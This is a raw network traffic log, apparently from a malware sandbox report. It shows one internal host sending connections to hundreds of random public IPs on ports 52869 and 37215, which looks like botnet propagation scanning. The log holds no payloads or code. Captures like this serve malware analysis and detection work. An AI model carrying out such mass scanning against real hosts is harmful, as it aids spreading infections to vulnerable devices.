Jul 20, 2024 23:05:41.477345943 CEST	43695	52869	192.168.2.13	194.152.133.22
Jul 20, 2024 23:05:41.477345943 CEST	43695	52869	192.168.2.13	200.111.219.20
Jul 20, 2024 23:05:41.477345943 CEST	43695	52869	192.168.2.13	110.194.176.186
Jul 20, 2024 23:05:41.477345943 CEST	43695	52869	192.168.2.13	86.203.50.214
Jul 20, 2024 23:05:41.477346897 CEST	43695	52869	192.168.2.13	216.105.103.140
Jul 20, 2024 23:05:41.477346897 CEST	43695	52869	192.168.2.13	197.204.106.114
Jul 20, 2024 23:05:41.477346897 CEST	43695	52869	192.168.2.13	221.45.33.107
Jul 20, 2024 23:05:41.477864027 CEST	43695	52869	192.168.2.13	48.182.251.156
Jul 20, 2024 23:05:41.477864027 CEST	43695	52869	192.168.2.13	54.31.71.152
Jul 20, 2024 23:05:41.477864027 CEST	43695	52869	192.168.2.13	38.201.29.73
Jul 20, 2024 23:05:41.477864027 CEST	43695	52869	192.168.2.13	154.188.135.231
Jul 20, 2024 23:05:41.477864027 CEST	43695	52869	192.168.2.13	39.214.96.221
Jul 20, 2024 23:05:41.477864027 CEST	43695	52869	192.168.2.13	17.186.208.18
Jul 20, 2024 23:05:41.477864027 CEST	43695	52869	192.168.2.13	142.69.246.171
Jul 20, 2024 23:05:41.477864027 CEST	43695	52869	192.168.2.13	161.241.18.111
Jul 20, 2024 23:05:41.478549004 CEST	43695	52869	192.168.2.13	128.59.214.173
Jul 20, 2024 23:05:41.478549004 CEST	43695	52869	192.168.2.13	126.227.20.252
Jul 20, 2024 23:05:41.478549004 CEST	43695	52869	192.168.2.13	74.120.42.21
Jul 20, 2024 23:05:41.478549957 CEST	43695	52869	192.168.2.13	43.170.141.117
Jul 20, 2024 23:05:41.478549957 CEST	43695	52869	192.168.2.13	190.123.56.11
Jul 20, 2024 23:05:41.478549957 CEST	43695	52869	192.168.2.13	124.9.167.87
Jul 20, 2024 23:05:41.478549957 CEST	43695	52869	192.168.2.13	42.122.9.24
Jul 20, 2024 23:05:41.478549957 CEST	43695	52869	192.168.2.13	58.30.8.244
Jul 20, 2024 23:05:41.479718924 CEST	43695	52869	192.168.2.13	218.67.155.221
Jul 20, 2024 23:05:41.479718924 CEST	43695	52869	192.168.2.13	1.170.99.91
Jul 20, 2024 23:05:41.479718924 CEST	43695	52869	192.168.2.13	111.98.112.18
Jul 20, 2024 23:05:41.479718924 CEST	43695	52869	192.168.2.13	58.35.81.193
Jul 20, 2024 23:05:41.479718924 CEST	43695	52869	192.168.2.13	19.108.150.245
Jul 20, 2024 23:05:41.479718924 CEST	43695	52869	192.168.2.13	132.87.239.225
Jul 20, 2024 23:05:41.479718924 CEST	43695	52869	192.168.2.13	138.79.214.4
Jul 20, 2024 23:05:41.479718924 CEST	43695	52869	192.168.2.13	78.127.130.217
Jul 20, 2024 23:05:41.480493069 CEST	43695	52869	192.168.2.13	153.26.58.248
Jul 20, 2024 23:05:41.480493069 CEST	43695	52869	192.168.2.13	49.147.24.52
Jul 20, 2024 23:05:41.480493069 CEST	43695	52869	192.168.2.13	82.69.55.193
Jul 20, 2024 23:05:41.480493069 CEST	43695	52869	192.168.2.13	206.139.102.243
Jul 20, 2024 23:05:41.480493069 CEST	43695	52869	192.168.2.13	40.202.113.73
Jul 20, 2024 23:05:41.480493069 CEST	43695	52869	192.168.2.13	93.13.247.19
Jul 20, 2024 23:05:41.480493069 CEST	43695	52869	192.168.2.13	141.139.224.47
Jul 20, 2024 23:05:41.481585979 CEST	43695	52869	192.168.2.13	38.97.128.75
Jul 20, 2024 23:05:41.481585979 CEST	43695	52869	192.168.2.13	179.239.9.243
Jul 20, 2024 23:05:41.481585979 CEST	43695	52869	192.168.2.13	220.213.157.140
Jul 20, 2024 23:05:41.481585979 CEST	43695	52869	192.168.2.13	152.223.58.237
Jul 20, 2024 23:05:41.481585979 CEST	43695	52869	192.168.2.13	176.137.29.83
Jul 20, 2024 23:05:41.481585979 CEST	43695	52869	192.168.2.13	99.143.3.199
Jul 20, 2024 23:05:41.481585979 CEST	43695	52869	192.168.2.13	81.37.172.58
Jul 20, 2024 23:05:41.481585979 CEST	43695	52869	192.168.2.13	116.152.160.220
Jul 20, 2024 23:05:41.482407093 CEST	43695	52869	192.168.2.13	118.56.107.105
Jul 20, 2024 23:05:41.482407093 CEST	43695	52869	192.168.2.13	145.144.15.140
Jul 20, 2024 23:05:41.482407093 CEST	43695	52869	192.168.2.13	161.217.224.221
Jul 20, 2024 23:05:41.482407093 CEST	43695	52869	192.168.2.13	62.234.125.79
Jul 20, 2024 23:05:41.482407093 CEST	43695	52869	192.168.2.13	102.190.94.52
Jul 20, 2024 23:05:41.482407093 CEST	43695	52869	192.168.2.13	61.9.17.47
Jul 20, 2024 23:05:41.482407093 CEST	43695	52869	192.168.2.13	211.47.12.132
Jul 20, 2024 23:05:41.483191013 CEST	43695	52869	192.168.2.13	38.34.80.53
Jul 20, 2024 23:05:41.483191013 CEST	43695	52869	192.168.2.13	190.17.231.187
Jul 20, 2024 23:05:41.483191013 CEST	43695	52869	192.168.2.13	155.252.84.85
Jul 20, 2024 23:05:41.483191013 CEST	43695	52869	192.168.2.13	119.59.53.48
Jul 20, 2024 23:05:41.483191013 CEST	43695	52869	192.168.2.13	124.47.102.109
Jul 20, 2024 23:05:41.483191013 CEST	43695	52869	192.168.2.13	163.16.42.57
Jul 20, 2024 23:05:41.483191013 CEST	43695	52869	192.168.2.13	189.221.159.89
Jul 20, 2024 23:05:41.483191013 CEST	43695	52869	192.168.2.13	129.79.99.33
Jul 20, 2024 23:05:41.483639956 CEST	43695	52869	192.168.2.13	91.140.223.248
Jul 20, 2024 23:05:41.483639956 CEST	43695	52869	192.168.2.13	58.30.155.104
Jul 20, 2024 23:05:41.483639956 CEST	43695	52869	192.168.2.13	147.239.120.6
Jul 20, 2024 23:05:41.483639956 CEST	43695	52869	192.168.2.13	199.109.215.250
Jul 20, 2024 23:05:41.483639956 CEST	43695	52869	192.168.2.13	85.29.92.89
Jul 20, 2024 23:05:41.483639956 CEST	43695	52869	192.168.2.13	119.63.51.2
Jul 20, 2024 23:05:41.483639956 CEST	43695	52869	192.168.2.13	222.53.239.66
Jul 20, 2024 23:05:41.483639956 CEST	43695	52869	192.168.2.13	188.177.168.128
Jul 20, 2024 23:05:41.484069109 CEST	43695	52869	192.168.2.13	205.180.82.55
Jul 20, 2024 23:05:41.484069109 CEST	43695	52869	192.168.2.13	198.41.118.151
Jul 20, 2024 23:05:41.484069109 CEST	43695	52869	192.168.2.13	208.52.230.72
Jul 20, 2024 23:05:41.484069109 CEST	43695	52869	192.168.2.13	182.216.84.216
Jul 20, 2024 23:05:41.484069109 CEST	43695	52869	192.168.2.13	171.24.222.236
Jul 20, 2024 23:05:41.484069109 CEST	43695	52869	192.168.2.13	168.95.235.228
Jul 20, 2024 23:05:41.484069109 CEST	43695	52869	192.168.2.13	114.186.78.67
Jul 20, 2024 23:05:41.484070063 CEST	43695	52869	192.168.2.13	41.172.120.42
Jul 20, 2024 23:05:41.484530926 CEST	43695	52869	192.168.2.13	126.50.220.63
Jul 20, 2024 23:05:41.484530926 CEST	43695	52869	192.168.2.13	170.70.83.184
Jul 20, 2024 23:05:41.484530926 CEST	43695	52869	192.168.2.13	142.172.39.222
Jul 20, 2024 23:05:41.484530926 CEST	43695	52869	192.168.2.13	41.145.182.144
Jul 20, 2024 23:05:41.484530926 CEST	43695	52869	192.168.2.13	90.174.176.155
Jul 20, 2024 23:05:41.484530926 CEST	43695	52869	192.168.2.13	174.55.195.49
Jul 20, 2024 23:05:41.484530926 CEST	43695	52869	192.168.2.13	141.172.255.120
Jul 20, 2024 23:05:41.484530926 CEST	43695	52869	192.168.2.13	73.206.249.188
Jul 20, 2024 23:05:41.485033035 CEST	43695	52869	192.168.2.13	183.244.83.113
Jul 20, 2024 23:05:41.485033035 CEST	43695	52869	192.168.2.13	14.9.29.134
Jul 20, 2024 23:05:41.485033035 CEST	43695	52869	192.168.2.13	207.215.37.219
Jul 20, 2024 23:05:41.485033035 CEST	43695	52869	192.168.2.13	78.144.154.96
Jul 20, 2024 23:05:41.485033035 CEST	43695	52869	192.168.2.13	85.194.233.109
Jul 20, 2024 23:05:41.485033035 CEST	43695	52869	192.168.2.13	37.253.130.175
Jul 20, 2024 23:05:41.485033035 CEST	43695	52869	192.168.2.13	34.69.166.35
Jul 20, 2024 23:05:41.485033035 CEST	43695	52869	192.168.2.13	48.99.217.220
Jul 20, 2024 23:05:41.485114098 CEST	43695	52869	192.168.2.13	217.92.206.226
Jul 20, 2024 23:05:41.485114098 CEST	43695	52869	192.168.2.13	61.67.184.131
Jul 20, 2024 23:05:41.485114098 CEST	43695	52869	192.168.2.13	34.42.67.18
Jul 20, 2024 23:05:41.485114098 CEST	43695	52869	192.168.2.13	52.58.27.109
Jul 20, 2024 23:05:41.485114098 CEST	43695	52869	192.168.2.13	200.213.150.56
Jul 20, 2024 23:05:41.485114098 CEST	43695	52869	192.168.2.13	50.20.79.121
Jul 20, 2024 23:05:41.485114098 CEST	43695	52869	192.168.2.13	76.38.151.253
Jul 20, 2024 23:05:41.485115051 CEST	43695	52869	192.168.2.13	27.206.31.28
Jul 20, 2024 23:05:41.486896992 CEST	43695	52869	192.168.2.13	128.167.40.10
Jul 20, 2024 23:05:41.486896992 CEST	43695	52869	192.168.2.13	58.240.141.32
Jul 20, 2024 23:05:41.486896992 CEST	43695	52869	192.168.2.13	84.107.7.192
Jul 20, 2024 23:05:41.486896992 CEST	43695	52869	192.168.2.13	88.80.142.11
Jul 20, 2024 23:05:41.486896992 CEST	43695	52869	192.168.2.13	122.79.153.203
Jul 20, 2024 23:05:41.486896992 CEST	43695	52869	192.168.2.13	102.202.162.8
Jul 20, 2024 23:05:41.486896992 CEST	43695	52869	192.168.2.13	50.92.185.77
Jul 20, 2024 23:05:41.486896992 CEST	43695	52869	192.168.2.13	193.164.35.3
Jul 20, 2024 23:05:41.487644911 CEST	43695	52869	192.168.2.13	37.166.58.7
Jul 20, 2024 23:05:41.487644911 CEST	43695	52869	192.168.2.13	61.201.180.247
Jul 20, 2024 23:05:41.487644911 CEST	43695	52869	192.168.2.13	51.248.12.8
Jul 20, 2024 23:05:41.487644911 CEST	43695	52869	192.168.2.13	94.176.140.243
Jul 20, 2024 23:05:41.487644911 CEST	43695	52869	192.168.2.13	42.138.238.120
Jul 20, 2024 23:05:41.487644911 CEST	43695	52869	192.168.2.13	12.102.67.163
Jul 20, 2024 23:05:41.487644911 CEST	43695	52869	192.168.2.13	152.149.49.0
Jul 20, 2024 23:05:41.488302946 CEST	43695	52869	192.168.2.13	186.23.129.11
Jul 20, 2024 23:05:41.488302946 CEST	43695	52869	192.168.2.13	9.125.96.65
Jul 20, 2024 23:05:41.488302946 CEST	43695	52869	192.168.2.13	177.82.131.223
Jul 20, 2024 23:05:41.488302946 CEST	43695	52869	192.168.2.13	2.174.102.156
Jul 20, 2024 23:05:41.488302946 CEST	43695	52869	192.168.2.13	34.209.246.186
Jul 20, 2024 23:05:41.488302946 CEST	43695	52869	192.168.2.13	104.96.206.187
Jul 20, 2024 23:05:41.488302946 CEST	43695	52869	192.168.2.13	172.206.170.91
Jul 20, 2024 23:05:41.488302946 CEST	43695	52869	192.168.2.13	150.186.142.75
Jul 20, 2024 23:05:41.489517927 CEST	43695	52869	192.168.2.13	43.73.179.11
Jul 20, 2024 23:05:41.489517927 CEST	43695	52869	192.168.2.13	193.59.0.118
Jul 20, 2024 23:05:41.489517927 CEST	43695	52869	192.168.2.13	167.203.115.207
Jul 20, 2024 23:05:41.489517927 CEST	43695	52869	192.168.2.13	144.36.184.140
Jul 20, 2024 23:05:41.489517927 CEST	43695	52869	192.168.2.13	116.177.202.132
Jul 20, 2024 23:05:41.489517927 CEST	43695	52869	192.168.2.13	41.226.67.248
Jul 20, 2024 23:05:41.489517927 CEST	43695	52869	192.168.2.13	101.229.203.102
Jul 20, 2024 23:05:41.489517927 CEST	43695	52869	192.168.2.13	197.184.33.48
Jul 20, 2024 23:05:41.489995956 CEST	43695	52869	192.168.2.13	20.92.46.126
Jul 20, 2024 23:05:41.489995956 CEST	43695	52869	192.168.2.13	162.81.242.105
Jul 20, 2024 23:05:41.489995956 CEST	43695	52869	192.168.2.13	135.109.236.216
Jul 20, 2024 23:05:41.489995956 CEST	43695	52869	192.168.2.13	217.2.125.198
Jul 20, 2024 23:05:41.489995956 CEST	43695	52869	192.168.2.13	173.75.100.21
Jul 20, 2024 23:05:41.489996910 CEST	43695	52869	192.168.2.13	152.192.235.95
Jul 20, 2024 23:05:41.489996910 CEST	43695	52869	192.168.2.13	96.68.56.55
Jul 20, 2024 23:05:41.489996910 CEST	43695	52869	192.168.2.13	72.148.238.150
Jul 20, 2024 23:05:41.491667986 CEST	43695	52869	192.168.2.13	36.128.59.175
Jul 20, 2024 23:05:41.491667986 CEST	43695	52869	192.168.2.13	151.211.36.44
Jul 20, 2024 23:05:41.491667986 CEST	43695	52869	192.168.2.13	219.10.155.24
Jul 20, 2024 23:05:41.491667986 CEST	43695	52869	192.168.2.13	112.208.243.225
Jul 20, 2024 23:05:41.491667986 CEST	43695	52869	192.168.2.13	72.207.165.247
Jul 20, 2024 23:05:41.491667986 CEST	43695	52869	192.168.2.13	18.95.133.238
Jul 20, 2024 23:05:41.491667986 CEST	43695	52869	192.168.2.13	220.219.240.202
Jul 20, 2024 23:05:41.492338896 CEST	43695	52869	192.168.2.13	112.234.144.229
Jul 20, 2024 23:05:41.492340088 CEST	43695	52869	192.168.2.13	124.228.154.150
Jul 20, 2024 23:05:41.492340088 CEST	43695	52869	192.168.2.13	139.245.15.1
Jul 20, 2024 23:05:41.492340088 CEST	43695	52869	192.168.2.13	154.82.180.216
Jul 20, 2024 23:05:41.492340088 CEST	43695	52869	192.168.2.13	107.211.240.189
Jul 20, 2024 23:05:41.492340088 CEST	43695	52869	192.168.2.13	95.137.137.218
Jul 20, 2024 23:05:41.492340088 CEST	43695	52869	192.168.2.13	79.32.244.49
Jul 20, 2024 23:05:41.492340088 CEST	43695	52869	192.168.2.13	159.72.76.181
Jul 20, 2024 23:05:41.492605925 CEST	43695	52869	192.168.2.13	8.206.158.177
Jul 20, 2024 23:05:41.492607117 CEST	43695	52869	192.168.2.13	152.206.180.254
Jul 20, 2024 23:05:41.492607117 CEST	43695	52869	192.168.2.13	135.167.95.136
Jul 20, 2024 23:05:41.492607117 CEST	43695	52869	192.168.2.13	27.206.168.52
Jul 20, 2024 23:05:41.492607117 CEST	43695	52869	192.168.2.13	76.138.76.53
Jul 20, 2024 23:05:41.492607117 CEST	43695	52869	192.168.2.13	46.126.2.244
Jul 20, 2024 23:05:41.492607117 CEST	43695	52869	192.168.2.13	114.138.146.55
Jul 20, 2024 23:05:41.492607117 CEST	43695	52869	192.168.2.13	32.20.24.181
Jul 20, 2024 23:05:41.492822886 CEST	43695	52869	192.168.2.13	17.142.143.150
Jul 20, 2024 23:05:41.492822886 CEST	43695	52869	192.168.2.13	103.224.48.67
Jul 20, 2024 23:05:41.492822886 CEST	43695	52869	192.168.2.13	142.211.0.16
Jul 20, 2024 23:05:41.492822886 CEST	43695	52869	192.168.2.13	132.95.164.18
Jul 20, 2024 23:05:41.492822886 CEST	43695	52869	192.168.2.13	103.6.133.252
Jul 20, 2024 23:05:41.492822886 CEST	43695	52869	192.168.2.13	72.202.39.101
Jul 20, 2024 23:05:41.492822886 CEST	43695	52869	192.168.2.13	208.236.16.68
Jul 20, 2024 23:05:41.492822886 CEST	43695	52869	192.168.2.13	133.149.136.121
Jul 20, 2024 23:05:41.493793964 CEST	43695	52869	192.168.2.13	185.161.254.8
Jul 20, 2024 23:05:41.493793964 CEST	43695	52869	192.168.2.13	88.166.52.151
Jul 20, 2024 23:05:41.493793964 CEST	43695	52869	192.168.2.13	153.205.148.154
Jul 20, 2024 23:05:41.493793964 CEST	43695	52869	192.168.2.13	220.144.218.43
Jul 20, 2024 23:05:41.493793964 CEST	43695	52869	192.168.2.13	9.105.60.39
Jul 20, 2024 23:05:41.493793964 CEST	43695	52869	192.168.2.13	134.61.131.203
Jul 20, 2024 23:05:41.493793964 CEST	43695	52869	192.168.2.13	80.8.221.69
Jul 20, 2024 23:05:41.493794918 CEST	43695	52869	192.168.2.13	108.83.52.191
Jul 20, 2024 23:05:41.493973970 CEST	43695	52869	192.168.2.13	87.80.198.223
Jul 20, 2024 23:05:41.493973970 CEST	43695	52869	192.168.2.13	98.18.219.95
Jul 20, 2024 23:05:41.493973970 CEST	43695	52869	192.168.2.13	130.128.244.78
Jul 20, 2024 23:05:41.493973970 CEST	43695	52869	192.168.2.13	119.60.245.2
Jul 20, 2024 23:05:41.493973970 CEST	43695	52869	192.168.2.13	204.125.240.228
Jul 20, 2024 23:05:41.493973970 CEST	43695	52869	192.168.2.13	72.63.125.188
Jul 20, 2024 23:05:41.493973970 CEST	43695	52869	192.168.2.13	170.157.48.1
Jul 20, 2024 23:05:41.493973970 CEST	43695	52869	192.168.2.13	191.95.183.87
Jul 20, 2024 23:05:41.495878935 CEST	43695	52869	192.168.2.13	157.224.208.16
Jul 20, 2024 23:05:41.495878935 CEST	43695	52869	192.168.2.13	177.183.128.170
Jul 20, 2024 23:05:41.495878935 CEST	43695	52869	192.168.2.13	152.123.228.128
Jul 20, 2024 23:05:41.495878935 CEST	43695	52869	192.168.2.13	76.255.204.66
Jul 20, 2024 23:05:41.495878935 CEST	43695	52869	192.168.2.13	113.129.133.107
Jul 20, 2024 23:05:41.495878935 CEST	43695	52869	192.168.2.13	161.2.252.186
Jul 20, 2024 23:05:41.496042967 CEST	43695	52869	192.168.2.13	179.32.179.240
Jul 20, 2024 23:05:41.496042967 CEST	43695	52869	192.168.2.13	183.133.145.112
Jul 20, 2024 23:05:41.496042967 CEST	43695	52869	192.168.2.13	193.195.43.96
Jul 20, 2024 23:05:41.496042967 CEST	43695	52869	192.168.2.13	105.149.125.230
Jul 20, 2024 23:05:41.496042967 CEST	43695	52869	192.168.2.13	157.241.132.114
Jul 20, 2024 23:05:41.496042967 CEST	43695	52869	192.168.2.13	153.149.166.39
Jul 20, 2024 23:05:41.496042967 CEST	43695	52869	192.168.2.13	12.229.29.193
Jul 20, 2024 23:05:41.496042967 CEST	43695	52869	192.168.2.13	34.181.222.174
Jul 20, 2024 23:05:41.497551918 CEST	43695	52869	192.168.2.13	78.113.18.110
Jul 20, 2024 23:05:41.497551918 CEST	43695	52869	192.168.2.13	54.53.247.204
Jul 20, 2024 23:05:41.497551918 CEST	43695	52869	192.168.2.13	139.17.135.29
Jul 20, 2024 23:05:41.497551918 CEST	43695	52869	192.168.2.13	65.197.141.74
Jul 20, 2024 23:05:41.497553110 CEST	43695	52869	192.168.2.13	80.120.104.243
Jul 20, 2024 23:05:41.497553110 CEST	43695	52869	192.168.2.13	39.227.234.202
Jul 20, 2024 23:05:41.497553110 CEST	43695	52869	192.168.2.13	182.7.240.137
Jul 20, 2024 23:05:41.497553110 CEST	43695	52869	192.168.2.13	117.198.87.189
Jul 20, 2024 23:05:41.498109102 CEST	43695	52869	192.168.2.13	79.164.194.165
Jul 20, 2024 23:05:41.498109102 CEST	43695	52869	192.168.2.13	103.119.249.171
Jul 20, 2024 23:05:41.498109102 CEST	43695	52869	192.168.2.13	50.66.193.151
Jul 20, 2024 23:05:41.498109102 CEST	43695	52869	192.168.2.13	169.72.49.208
Jul 20, 2024 23:05:41.498109102 CEST	43695	52869	192.168.2.13	160.115.110.207
Jul 20, 2024 23:05:41.498109102 CEST	43695	52869	192.168.2.13	65.35.39.183
Jul 20, 2024 23:05:41.498109102 CEST	43695	52869	192.168.2.13	99.241.202.211
Jul 20, 2024 23:05:41.498110056 CEST	43695	52869	192.168.2.13	100.170.20.195
Jul 20, 2024 23:05:41.498692989 CEST	43695	52869	192.168.2.13	217.218.196.204
Jul 20, 2024 23:05:41.498692989 CEST	43695	52869	192.168.2.13	2.152.71.152
Jul 20, 2024 23:05:41.498692989 CEST	43695	52869	192.168.2.13	101.147.132.180
Jul 20, 2024 23:05:41.498692989 CEST	43695	52869	192.168.2.13	71.132.2.240
Jul 20, 2024 23:05:41.498692989 CEST	43695	52869	192.168.2.13	32.39.5.121
Jul 20, 2024 23:05:41.498692989 CEST	43695	52869	192.168.2.13	141.84.202.207
Jul 20, 2024 23:05:41.498692989 CEST	43695	52869	192.168.2.13	192.63.21.56
Jul 20, 2024 23:05:41.498693943 CEST	43695	52869	192.168.2.13	122.96.96.240
Jul 20, 2024 23:05:41.500190973 CEST	43695	52869	192.168.2.13	84.1.64.74
Jul 20, 2024 23:05:41.500190973 CEST	43695	52869	192.168.2.13	90.189.138.39
Jul 20, 2024 23:05:41.500191927 CEST	43695	52869	192.168.2.13	189.77.136.125
Jul 20, 2024 23:05:41.500191927 CEST	43695	52869	192.168.2.13	67.40.144.175
Jul 20, 2024 23:05:41.500191927 CEST	43695	52869	192.168.2.13	4.183.209.45
Jul 20, 2024 23:05:41.500191927 CEST	43695	52869	192.168.2.13	5.118.36.137
Jul 20, 2024 23:05:41.500191927 CEST	43695	52869	192.168.2.13	113.210.130.191
Jul 20, 2024 23:05:41.500191927 CEST	43695	52869	192.168.2.13	213.186.60.79
Jul 20, 2024 23:05:41.500432968 CEST	43695	52869	192.168.2.13	128.19.80.131
Jul 20, 2024 23:05:41.500432968 CEST	43695	52869	192.168.2.13	18.143.16.236
Jul 20, 2024 23:05:41.500432968 CEST	43695	52869	192.168.2.13	89.220.192.131
Jul 20, 2024 23:05:41.500432968 CEST	43695	52869	192.168.2.13	114.232.25.86
Jul 20, 2024 23:05:41.500432968 CEST	43695	52869	192.168.2.13	168.246.183.170
Jul 20, 2024 23:05:41.500432968 CEST	43695	52869	192.168.2.13	72.110.158.248
Jul 20, 2024 23:05:41.500432968 CEST	43695	52869	192.168.2.13	111.209.111.251
Jul 20, 2024 23:05:41.500432968 CEST	43695	52869	192.168.2.13	78.114.11.218
Jul 20, 2024 23:05:41.501190901 CEST	43695	52869	192.168.2.13	113.213.26.147
Jul 20, 2024 23:05:41.501190901 CEST	43695	52869	192.168.2.13	167.230.115.81
Jul 20, 2024 23:05:41.501190901 CEST	43695	52869	192.168.2.13	107.65.81.21
Jul 20, 2024 23:05:41.501190901 CEST	43695	52869	192.168.2.13	93.141.201.1
Jul 20, 2024 23:05:41.501190901 CEST	43695	52869	192.168.2.13	4.39.202.169
Jul 20, 2024 23:05:41.501190901 CEST	43695	52869	192.168.2.13	77.186.109.105
Jul 20, 2024 23:05:41.501190901 CEST	43695	52869	192.168.2.13	17.255.55.41
Jul 20, 2024 23:05:41.501190901 CEST	43695	52869	192.168.2.13	41.31.162.56
Jul 20, 2024 23:05:41.502929926 CEST	43695	52869	192.168.2.13	109.14.200.23
Jul 20, 2024 23:05:41.503745079 CEST	37215	44719	41.35.143.117	192.168.2.13
Jul 20, 2024 23:05:41.503755093 CEST	37215	44719	41.191.46.135	192.168.2.13
Jul 20, 2024 23:05:41.503763914 CEST	37215	44719	41.126.19.118	192.168.2.13
Jul 20, 2024 23:05:41.503773928 CEST	37215	44719	41.159.246.9	192.168.2.13
Jul 20, 2024 23:05:41.503782988 CEST	37215	44719	83.219.235.185	192.168.2.13
Jul 20, 2024 23:05:41.504089117 CEST	37215	44719	208.40.190.49	192.168.2.13
Jul 20, 2024 23:05:41.504098892 CEST	37215	44719	197.120.43.235	192.168.2.13
Jul 20, 2024 23:05:41.504107952 CEST	37215	44719	157.85.0.74	192.168.2.13
Jul 20, 2024 23:05:41.504117966 CEST	37215	44719	157.52.127.181	192.168.2.13
Jul 20, 2024 23:05:41.504127979 CEST	37215	44719	157.224.167.31	192.168.2.13
Jul 20, 2024 23:05:41.504137039 CEST	37215	44719	41.210.213.182	192.168.2.13
Jul 20, 2024 23:05:41.504146099 CEST	37215	44719	41.137.103.156	192.168.2.13
Jul 20, 2024 23:05:41.504154921 CEST	37215	44719	87.223.147.71	192.168.2.13
Jul 20, 2024 23:05:41.504163980 CEST	37215	44719	197.74.153.62	192.168.2.13
Jul 20, 2024 23:05:41.504173040 CEST	37215	44719	41.229.81.75	192.168.2.13
Jul 20, 2024 23:05:41.504183054 CEST	37215	44719	41.45.109.224	192.168.2.13
Jul 20, 2024 23:05:41.504192114 CEST	37215	44719	197.91.179.228	192.168.2.13
Jul 20, 2024 23:05:41.504201889 CEST	37215	44719	197.74.172.239	192.168.2.13
Jul 20, 2024 23:05:41.504210949 CEST	37215	44719	165.176.141.80	192.168.2.13
Jul 20, 2024 23:05:41.504220009 CEST	37215	44719	41.114.141.7	192.168.2.13
Jul 20, 2024 23:05:41.504229069 CEST	37215	44719	41.131.248.46	192.168.2.13
Jul 20, 2024 23:05:41.504237890 CEST	37215	44719	41.83.60.62	192.168.2.13
Jul 20, 2024 23:05:41.504246950 CEST	37215	44719	157.40.125.102	192.168.2.13
Jul 20, 2024 23:05:41.504256010 CEST	37215	44719	197.111.22.191	192.168.2.13
Jul 20, 2024 23:05:41.504265070 CEST	37215	44719	37.73.78.164	192.168.2.13
Jul 20, 2024 23:05:41.504273891 CEST	37215	44719	197.15.100.69	192.168.2.13
Jul 20, 2024 23:05:41.504663944 CEST	44719	37215	192.168.2.13	208.40.190.49
Jul 20, 2024 23:05:41.504663944 CEST	44719	37215	192.168.2.13	197.120.43.235
Jul 20, 2024 23:05:41.504663944 CEST	44719	37215	192.168.2.13	41.83.60.62
Jul 20, 2024 23:05:41.504723072 CEST	37215	44719	41.86.21.116	192.168.2.13
Jul 20, 2024 23:05:41.504733086 CEST	37215	44719	131.228.228.203	192.168.2.13
Jul 20, 2024 23:05:41.504743099 CEST	37215	44719	157.186.187.34	192.168.2.13
Jul 20, 2024 23:05:41.504755020 CEST	43695	52869	192.168.2.13	41.49.55.165
Jul 20, 2024 23:05:41.504755020 CEST	43695	52869	192.168.2.13	18.48.170.155
Jul 20, 2024 23:05:41.504755020 CEST	43695	52869	192.168.2.13	126.153.140.123
Jul 20, 2024 23:05:41.504755020 CEST	43695	52869	192.168.2.13	180.84.255.5
Jul 20, 2024 23:05:41.504755020 CEST	43695	52869	192.168.2.13	70.118.174.154
Jul 20, 2024 23:05:41.504755020 CEST	43695	52869	192.168.2.13	63.54.94.225
Jul 20, 2024 23:05:41.504755974 CEST	43695	52869	192.168.2.13	191.46.165.104
Jul 20, 2024 23:05:41.504755974 CEST	43695	52869	192.168.2.13	125.76.116.19
Jul 20, 2024 23:05:41.504878998 CEST	37215	44719	41.45.46.148	192.168.2.13
Jul 20, 2024 23:05:41.504899979 CEST	37215	44719	41.125.22.144	192.168.2.13
Jul 20, 2024 23:05:41.504959106 CEST	37215	44719	157.51.222.183	192.168.2.13
Jul 20, 2024 23:05:41.504967928 CEST	37215	44719	77.130.62.157	192.168.2.13
Jul 20, 2024 23:05:41.504976988 CEST	37215	44719	87.49.184.97	192.168.2.13
Jul 20, 2024 23:05:41.504987001 CEST	37215	44719	197.238.247.226	192.168.2.13
Jul 20, 2024 23:05:41.505003929 CEST	37215	44719	45.30.227.83	192.168.2.13
Jul 20, 2024 23:05:41.505013943 CEST	37215	44719	150.5.61.254	192.168.2.13
Jul 20, 2024 23:05:41.505023003 CEST	37215	44719	197.255.79.72	192.168.2.13
Jul 20, 2024 23:05:41.505032063 CEST	37215	44719	153.193.210.52	192.168.2.13
Jul 20, 2024 23:05:41.505187988 CEST	37215	44719	197.123.150.76	192.168.2.13
Jul 20, 2024 23:05:41.505198002 CEST	37215	44719	41.193.165.102	192.168.2.13
Jul 20, 2024 23:05:41.505207062 CEST	37215	44719	187.121.7.198	192.168.2.13
Jul 20, 2024 23:05:41.505215883 CEST	37215	44719	41.41.223.240	192.168.2.13
Jul 20, 2024 23:05:41.505317926 CEST	37215	44719	197.163.162.238	192.168.2.13
Jul 20, 2024 23:05:41.505326986 CEST	37215	44719	41.118.230.116	192.168.2.13
Jul 20, 2024 23:05:41.505436897 CEST	37215	44719	157.84.231.233	192.168.2.13
Jul 20, 2024 23:05:41.505448103 CEST	37215	44719	157.168.107.181	192.168.2.13
Jul 20, 2024 23:05:41.505456924 CEST	37215	44719	157.228.220.213	192.168.2.13
Jul 20, 2024 23:05:41.505466938 CEST	37215	44719	186.126.223.203	192.168.2.13
Jul 20, 2024 23:05:41.505476952 CEST	37215	44719	32.67.227.143	192.168.2.13
Jul 20, 2024 23:05:41.505496025 CEST	37215	44719	114.204.237.180	192.168.2.13
Jul 20, 2024 23:05:41.505505085 CEST	37215	44719	197.17.89.105	192.168.2.13
Jul 20, 2024 23:05:41.505513906 CEST	37215	44719	157.167.197.242	192.168.2.13
Jul 20, 2024 23:05:41.505522966 CEST	37215	44719	157.181.143.127	192.168.2.13
Jul 20, 2024 23:05:41.505532026 CEST	37215	44719	197.170.239.178	192.168.2.13
Jul 20, 2024 23:05:41.505541086 CEST	37215	44719	197.179.56.140	192.168.2.13
Jul 20, 2024 23:05:41.505551100 CEST	37215	44719	197.18.229.136	192.168.2.13
Jul 20, 2024 23:05:41.505559921 CEST	37215	44719	76.18.81.194	192.168.2.13
Jul 20, 2024 23:05:41.505568981 CEST	37215	44719	41.218.226.250	192.168.2.13
Jul 20, 2024 23:05:41.505578041 CEST	37215	44719	171.222.157.192	192.168.2.13
Jul 20, 2024 23:05:41.505588055 CEST	37215	44719	41.100.91.237	192.168.2.13
Jul 20, 2024 23:05:41.505597115 CEST	37215	44719	71.49.202.25	192.168.2.13
Jul 20, 2024 23:05:41.505605936 CEST	37215	44719	170.219.164.244	192.168.2.13
Jul 20, 2024 23:05:41.505615950 CEST	37215	44719	157.6.141.46	192.168.2.13
Jul 20, 2024 23:05:41.505625963 CEST	37215	44719	41.15.38.73	192.168.2.13
